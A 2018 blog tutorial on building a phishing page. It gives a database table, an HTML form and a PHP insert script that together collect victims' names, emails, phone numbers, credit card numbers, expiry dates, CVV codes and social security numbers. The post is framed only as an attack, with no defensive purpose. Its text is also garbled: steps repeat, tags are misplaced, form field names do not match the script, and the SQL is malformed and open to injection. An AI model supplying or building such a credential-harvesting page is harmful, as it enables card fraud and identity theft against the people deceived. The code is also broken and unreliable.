Sunday, July 1, 2018
How To Create A Phishing Page
How To Create A Phishing Page
Hi to everybody , in this small tutorial I am going to show you how to make a simple phishing page.
Req :
-Host with Mysql (can be at 00webhost or in my example at localhost with Xampp)
-Text editor ( I would reccomend you to use Notepad++)
-Any Mysql Editor (I am going to use SQLyog )
Steps :
1)Connect to your host
2)Create a DB(Control+D at SQLyog)
or this sql querry
3)Create a new table with the details that you are going to need
Or if you are lazy insert this querry :
[/PHP]
CREATE TABLE `db` (
`Name` text NOT NULL,
`Lastname` text NOT NULL,
`email` text NOT NULL,
`phone` decimal(10,0) NOT NULL,
`Type` text NOT NULL,
`CreditCard` decimal(10,0) NOT NULL,
`Exp` date NOT NULL,
`cv2` decimal(3,0) NOT NULL,
`ssn` decimal(10,0) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;[/PHP]
4) Edit the file.htm with the new details that you are going to send via POST
For example..if you want to add a new value..like "Sex" all you need to do its to add to the db and to this file with this format :
5)Edit the Insert.php with the new details :
You need to edit the details of the db and edit this lines :
Where name,last,email,phone,type,cc,cv2,exp are the values and $_POST"X" are the values who are going to be sent via POST
Source
Req :
-Host with Mysql (can be at 00webhost or in my example at localhost with Xampp)
-Text editor ( I would reccomend you to use Notepad++)
-Any Mysql Editor (I am going to use SQLyog )
Steps :
1)Connect to your host
2)Create a DB(Control+D at SQLyog)
or this sql querry
PHP Code:
CREATE DATABASE `test`;
Or if you are lazy insert this querry :
[/PHP]
CREATE TABLE `db` (
`Name` text NOT NULL,
`Lastname` text NOT NULL,
`email` text NOT NULL,
`phone` decimal(10,0) NOT NULL,
`Type` text NOT NULL,
`CreditCard` decimal(10,0) NOT NULL,
`Exp` date NOT NULL,
`cv2` decimal(3,0) NOT NULL,
`ssn` decimal(10,0) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;[/PHP]
4) Edit the file.htm with the new details that you are going to send via POST
PHP Code:
<html>
<title>Test</title>
<body>
<form action="insert.php" method="post">
<p>Basic Information</p>
<p>Name:
<input type="text" name="name" id="name" />
</p>
<p>LastName:
<input type="text" name="last" id="last" />
</p>
<p>email
<input type="text" name="email" id="email" />
</p>
<p>phone
<input type="text" name="phone" id="phone" />
</p>
<p>type
<input type="text" name="type" id="type" />
</p>
<p>creditcard
<input type="text" name="creditcard" id="creditcard" />
</p>
<p>exp
<input type="text" name="exp" id="exp" />
</p>
<p>cv2
<input type="text" name="cv2" id="cv2" />
</p>
<p>EXP date
<input type="text" name="exp" id="exp" />
</p>
<p>
<input type="submit" />
</p>
</form>
</body>
</html>
PHP Code:
<p>Name:
<input type="text" name="name" id="sex" />
PHP Code:
<?php
$con = mysql_connect("host","user","pass");
if (!$con)
{
die(Could not connect: . mysql_error());
}mysql_select_db("DB_name", $con);$sql="INSERT INTO table_name (name,last,email,phone,type,cc,cv2,exp,)
VALUES
($_POST[name],$_POST[last],$_POST[email],$_POST[phone],$_POST[type],$_POST[cc],$_POST[cv2])";
if (!mysql_query($sql,$con))
{
die(Error: . mysql_error());
}
echo "Thanks for helping us..";mysql_close($con);?>
PHP Code:
$sql="INSERT INTO table_name (name,last,email,phone,type,cc,cv2,exp,)
VALUES
($_POST[name],$_POST[last],$_POST[email],$_POST[phone],$_POST[type],$_POST[cc],$_POST[cv2])";
Source